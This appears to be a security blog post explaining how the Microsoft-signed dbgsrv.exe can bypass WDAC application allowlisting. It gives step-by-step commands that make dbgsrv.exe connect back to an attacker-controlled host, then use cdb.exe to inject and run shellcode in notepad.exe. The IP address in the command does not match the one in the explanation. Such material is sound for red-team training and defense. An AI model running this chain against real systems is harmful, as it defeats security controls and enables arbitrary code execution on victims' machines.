How to Bypass WDAC with dbgsrv.exe
Microsoft Applications and Blocklist
Note: This blog post contains the details from Casey Smith and Ross Wolf’s BlackHat USA 2019 presentation
Most application whitelisting bypasses that are used today abuse built-in functionality of the offending application to execute code which would otherwise be blocked. Due to most bypasses leveraging legitimate functionality in an unforeseen manner, rather than exploiting the application, Microsoft will often choose not to “patch” the vulnerable application. Instead, Microsoft maintains a recommended blocklist of applications most organizations should block within their environment, unless explicitly needed.
If you were to look at the blocklist, you’ll see many known offenders, such as:
- Msbuild.exe
- Wmic.exe
- Mshta.exe
Additionally, within the blocklist there is another class of applications, primarily debuggers or debugger utilities such as:
- Cdb.exe
- Dbghost.exe
- Dbgsvc.exe
- Windbg.exe
Debuggers are an interesting option from a bypass perspective, but their inclusion in this list makes sense, right? For example, if we have the ability to interact with a process and modify its execution we can likely circumvent any protections on the host to execute arbitrary code. Well, the same can be said for debugging utilities. Different utilities could extend debugging functionality which could allow an attacker to abuse said functionality in an unintended manner, resulting in arbitrary code execution.
Let’s dive a little more into this concept.
Bypassing by Remote Debugger
One of the first things we will need to install is the Windows 10 SDK (version 1903), specifically the debugging tools for Windows. After having installed the debugging tools, we’re specifically going to be looking at dbgsrv.exe. Like any application whitelisting abuse, the ability to conduct a bypass starts with finding trusted applications. If we use sigcheck to check the dbgsrv.exe application, we can see that it is signed by Microsoft.
The next question might be what exactly is dbgsrv.exe supposed to do? It’s known as a “process server” to enable developers to remotely debug an application with a debugger such as cdb.exe. You can review the various command line options available with the application here. If you dig in to the command line options, you can see that the -t option allows you to specify a transport protocol for dbgsrv.exe which is further documented here. Some of the different transport protocols supported in dbgsrv.exe include:
- Named pipes
- TCP
- COM port
- SSL
- Secure pipe
Let’s look to abuse this signed application by having dbgsrv.exe connect back to an attacker controlled computer for “remote debugging purposes”. The first step to do this will be to set up a debugger and configure it to accept a remote connection. This step can be accomplished with cdb.exe. If you remember, cdb.exe is on Microsoft’s recommended block list. However, we can have dbgsrv.exe connect back to an attacker controlled system where cdb.exe would be allowed to run.
To configure cdb.exe to accept our incoming connection, you could run the following command:
- &”C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe” -premote tcp:port=22,clicon=0.0.0.0 C:\Windows\system32\notepad.exe
The -premote option is specifying that cdb.exe should listen on port 22 on all interfaces and when a debugger receives an incoming connection, the remote system should spawn notepad.exe for debugging.
The next step is to have dbgsrv.exe connect to our attacker controlled system and interact with our debugger. To get dbgsrv.exe up and running, you can run the following command:
- “C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe” -t tcp:clicon=172.16.86.144,port=22
This instructs dbgsrv.exe to connect to 172.16.93.144 via TCP on port 22. Since cdb.exe is already running, once you run the above command, you should see notepad.exe spawned on victim system.
Back on our attacker controlled system, we can now interact with notepad.exe on the remote system through cdb.exe.
Injecting Malicious Code with cdb.exe
At this point, it is just a matter of using cdb.exe to inject malicious code into notepad.exe and have it run. This can be accomplished through the following commands:
- .dvalloc <amount of memory> – This command will allocate a user specified amount of memory in the debugged process
- .readmem <file to read> <memory address> <Length to inject> – This command will read data from a file and copy it into a user-specified memory address
- .r @$ip=<memory address> – This will set the instruction pointer to begin running commands from a user-specified memory address
- g – This will instruct cdb.exe to begin execution
To test this weaponization, you can create a file containing the shellcode you want to run. In this case, Casey created a file entitled “shellcode.png” which will pop calc with the following command:
Now, all that is needed is to run the above commands within cdb to attack the victim system.
After continuing execution, we can see that our WDAC protected victim system now has calc running.
Interested in learning techniques similar to this? FortyNorth Security will be teaching our Intrusion Operations class at BSidesAugusta this October! Be sure to register for our class to learn and apply the latest techniques in our class and lab environment!